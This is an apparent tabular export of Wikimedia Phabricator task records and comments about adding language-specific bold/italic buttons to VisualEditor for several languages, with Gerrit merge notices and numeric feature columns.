239385,VisualEditor: Set correct text annotation buttons for eu (L/E),Done and will be deployed tomorrow.,,,1374633960,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-52xvekcadppljx7wxtjw,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Done and will be deployed tomorrow.
239383,VisualEditor: Set correct text annotation buttons for eu (L/E),"Change 74972 merged by jenkins-bot:
Add bold/italic for more latin langages

https://gerrit.wikimedia.org/r/74972",,,1374632633,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-52xvekcadppljx7wxtjw,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.105263157894737,1.0,"Change 74972 merged by jenkins-bot:
Add bold/italic for more latin langages

GERRIT_URL"
239379,VisualEditor: Set correct text annotation buttons for eu (L/E),"Change 74972 had a related patch set uploaded by Esanders:
Add bold/italic for more latin langages

https://gerrit.wikimedia.org/r/74972",,,1374412437,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-52xvekcadppljx7wxtjw,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,4.363636363636363,1.0,"Change 74972 had a related patch set uploaded by Esanders:
Add bold/italic for more latin langages

GERRIT_URL"
53707,VisualEditor: Set correct text annotation buttons for es (N/C),"This is how it is configured in WikiEditor; will require icon creation.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374266220,1374633947.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ztoidsuy5fwdvtm6hoxa,task_description,resolved,True,c1,3,True,False,True,2,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.28125,0.6875,"This is how it is configured in WikiEditor; will require icon creation.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
239269,VisualEditor: Set correct text annotation buttons for es (N/C),Done and will be deployed tomorrow.,,,1374633947,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ztoidsuy5fwdvtm6hoxa,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Done and will be deployed tomorrow.
239265,VisualEditor: Set correct text annotation buttons for es (N/C),"Change 74972 merged by jenkins-bot:
Add bold/italic for more latin langages

https://gerrit.wikimedia.org/r/74972",,,1374632626,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ztoidsuy5fwdvtm6hoxa,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.105263157894737,1.0,"Change 74972 merged by jenkins-bot:
Add bold/italic for more latin langages

GERRIT_URL"
239258,VisualEditor: Set correct text annotation buttons for es (N/C),"Change 74972 had a related patch set uploaded by Esanders:
Add bold/italic for more latin langages

https://gerrit.wikimedia.org/r/74972",,,1374412439,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ztoidsuy5fwdvtm6hoxa,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,4.363636363636363,1.0,"Change 74972 had a related patch set uploaded by Esanders:
Add bold/italic for more latin langages

GERRIT_URL"
53706,VisualEditor: Set correct text annotation buttons for pt (N/I),"This is how it is configured in WikiEditor; will require icon creation.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374266220,1374633901.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-evgaeiyun2bs3jdkzmuq,task_description,resolved,True,c1,3,True,False,True,2,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.28125,0.6875,"This is how it is configured in WikiEditor; will require icon creation.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
239214,VisualEditor: Set correct text annotation buttons for pt (N/I),Done and will be deployed tomorrow.,,,1374633901,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-evgaeiyun2bs3jdkzmuq,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Done and will be deployed tomorrow.
239207,VisualEditor: Set correct text annotation buttons for pt (N/I),"Change 74972 merged by jenkins-bot:
Add bold/italic for more latin langages

https://gerrit.wikimedia.org/r/74972",,,1374632624,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-evgaeiyun2bs3jdkzmuq,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.105263157894737,1.0,"Change 74972 merged by jenkins-bot:
Add bold/italic for more latin langages

GERRIT_URL"
239200,VisualEditor: Set correct text annotation buttons for pt (N/I),"Change 74972 had a related patch set uploaded by Esanders:
Add bold/italic for more latin langages

https://gerrit.wikimedia.org/r/74972",,,1374412443,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-evgaeiyun2bs3jdkzmuq,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,4.363636363636363,1.0,"Change 74972 had a related patch set uploaded by Esanders:
Add bold/italic for more latin langages

GERRIT_URL"
53705,VisualEditor: Set correct text annotation buttons for gl (N/C),"This is how it is configured in WikiEditor; will require icon creation.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374266220,1374633878.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-64zcrx2xmqdtz5ns3ivt,task_description,resolved,True,c1,3,True,False,True,2,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.28125,0.6875,"This is how it is configured in WikiEditor; will require icon creation.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
239162,VisualEditor: Set correct text annotation buttons for gl (N/C),Done and will be deployed tomorrow.,,,1374633878,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-64zcrx2xmqdtz5ns3ivt,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Done and will be deployed tomorrow.
239155,VisualEditor: Set correct text annotation buttons for gl (N/C),"Change 74972 merged by jenkins-bot:
Add bold/italic for more latin langages

https://gerrit.wikimedia.org/r/74972",,,1374632631,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-64zcrx2xmqdtz5ns3ivt,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.105263157894737,1.0,"Change 74972 merged by jenkins-bot:
Add bold/italic for more latin langages

GERRIT_URL"
239149,VisualEditor: Set correct text annotation buttons for gl (N/C),"Change 74972 had a related patch set uploaded by Esanders:
Add bold/italic for more latin langages

https://gerrit.wikimedia.org/r/74972",,,1374412445,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-64zcrx2xmqdtz5ns3ivt,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,4.363636363636363,1.0,"Change 74972 had a related patch set uploaded by Esanders:
Add bold/italic for more latin langages

GERRIT_URL"
53704,VisualEditor: Set correct text annotation buttons for it (G/C),"This is how it is configured in WikiEditor; will require icon creation.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374266220,1374633829.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ganyn24uk5sn6pp36vou,task_description,resolved,True,c1,3,True,False,True,2,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.28125,0.6875,"This is how it is configured in WikiEditor; will require icon creation.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
239117,VisualEditor: Set correct text annotation buttons for it (G/C),Done and will be deployed tomorrow.,,,1374633829,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ganyn24uk5sn6pp36vou,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Done and will be deployed tomorrow.
239111,VisualEditor: Set correct text annotation buttons for it (G/C),"Change 74972 merged by jenkins-bot:
Add bold/italic for more latin langages

https://gerrit.wikimedia.org/r/74972",,,1374632629,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ganyn24uk5sn6pp36vou,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.105263157894737,1.0,"Change 74972 merged by jenkins-bot:
Add bold/italic for more latin langages

GERRIT_URL"
239101,VisualEditor: Set correct text annotation buttons for it (G/C),"Change 74972 had a related patch set uploaded by Esanders:
Add bold/italic for more latin langages

https://gerrit.wikimedia.org/r/74972",,,1374412452,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ganyn24uk5sn6pp36vou,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,4.363636363636363,1.0,"Change 74972 had a related patch set uploaded by Esanders:
Add bold/italic for more latin langages

GERRIT_URL"
53703,VisualEditor: Set correct text annotation buttons for fr (G/I),"This is how it is configured in WikiEditor; will require icon creation.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374266220,1374633813.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-buz4r3nu6zcrowjeto7w,task_description,resolved,True,c1,3,True,False,True,2,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.28125,0.6875,"This is how it is configured in WikiEditor; will require icon creation.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
239064,VisualEditor: Set correct text annotation buttons for fr (G/I),Done and will be deployed tomorrow.,,,1374633813,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-buz4r3nu6zcrowjeto7w,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Done and will be deployed tomorrow.
239060,VisualEditor: Set correct text annotation buttons for fr (G/I),"Change 74972 merged by jenkins-bot:
Add bold/italic for more latin langages

https://gerrit.wikimedia.org/r/74972",,,1374632620,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-buz4r3nu6zcrowjeto7w,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.105263157894737,1.0,"Change 74972 merged by jenkins-bot:
Add bold/italic for more latin langages

GERRIT_URL"
239051,VisualEditor: Set correct text annotation buttons for fr (G/I),"Change 74972 had a related patch set uploaded by Esanders:
Add bold/italic for more latin langages

https://gerrit.wikimedia.org/r/74972",,,1374412454,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-buz4r3nu6zcrowjeto7w,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,4.363636363636363,1.0,"Change 74972 had a related patch set uploaded by Esanders:
Add bold/italic for more latin langages

GERRIT_URL"
53702,VisualEditor: Set correct text annotation buttons for hu (B/D),"This is how it is configured in WikiEditor; will require icon creation.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1374266220,1374633800.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-4e4lr7gjx3fhin7zieit,task_description,resolved,True,c1,3,True,False,True,2,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.28125,0.6875,"This is how it is configured in WikiEditor; will require icon creation.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
239016,VisualEditor: Set correct text annotation buttons for hu (B/D),Done and will be deployed tomorrow.,,,1374633800,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4e4lr7gjx3fhin7zieit,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Done and will be deployed tomorrow.
239011,VisualEditor: Set correct text annotation buttons for hu (B/D),"Change 74972 merged by jenkins-bot:
Add bold/italic for more latin langages

